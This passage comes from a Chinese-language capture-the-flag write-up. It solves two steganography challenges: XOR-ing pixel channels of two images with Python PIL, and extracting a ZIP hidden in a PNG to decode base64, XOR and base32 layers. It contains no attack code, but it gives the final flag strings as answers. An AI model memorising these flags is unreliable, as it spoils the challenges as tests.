            res = r ^ g ^ b ^ a # 发现部分连续像素异或出来的结果相同
            print(res,end=' ')
            img1_pixles.append((bin(r1)[2:].rjust(8,'0'),bin(g1)[2:].rjust(8,'0'),bin(b1)[2:].rjust(8,'0'),bin(a1)[2:].rjust(8,'0')))
            r2,g2,b2,a2 = img2.getpixel((x,y))
            img2_pixles.append((bin(r2)[2:].rjust(8,'0'),bin(g2)[2:].rjust(8,'0'),bin(b2)[2:].rjust(8,'0'),bin(a2)[2:].rjust(8,'0')))
            xor_pixles.append((bin(r)[2:].rjust(8,'0'),bin(g)[2:].rjust(8,'0'),bin(b)[2:].rjust(8,'0'),bin(a)[2:].rjust(8,'0')))
            if res >= 255:
                img3.putpixel((x,y),(0,0,0))
            else:
                img3.putpixel((x,y),(255,255,255))
                
    print(img1_pixles[:10])
    print(img2_pixles[:10])
    print(xor_pixles[:10])
    img3.show()
    img3.save("flag.png")

imgs/image-20250828103832643.png

当然以上只是我一开始的解题思路,后来回头联想了一下题目的名称 flag ^ galf

想到出题人的真实意图应该是img1的rgba异或img2的abgr

因此写了个脚本,复原出了出题人的ori.png,得到本题的flag: DASCTF{9da98cbf7e99bff7c93ef066935f65ba}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def func3():
    img1 = Image.open("encrypt.png")
    img2 = Image.open("picture.png")
    w,h = img1.size
    img3 = Image.new("RGBA", (w,h))
    for y in range(h):
        for x in range(w):
            r1,g1,b1,a1 = img1.getpixel((x,y))
            r2,g2,b2,a2 = img2.getpixel((x,y))
            r = r1 ^ a2
            g = g1 ^ b2
            b = b1 ^ g2
            a = a1 ^ r2
            img3.putpixel((x,y),(r,g,b,a))

    img3.show()
    img3.save("ori.png")

imgs/image-20250828104214940.png

题目名称 base_2

附件给了以下这张PNG,010打开发现末尾藏了一个ZIP压缩包

imgs/image-20250828115022552.png

imgs/image-20250828115106700.png

提取出来解压,得到一个xor文件,内容是base64编码的字符串

zsteg扫一下png,得到一串字符,长度刚刚好是32位

imgs/image-20250828115217348.png

使用Cyberchef解码base64然后异或一下上面这个字符串即可得到一堆base32字符串

imgs/image-20250828115255687.png

最后解base32隐写即可得到最后的flag: DASCTF{e738d5d58f8e231f0523b768558cc959}

imgs/image-20250828115400614.png

0%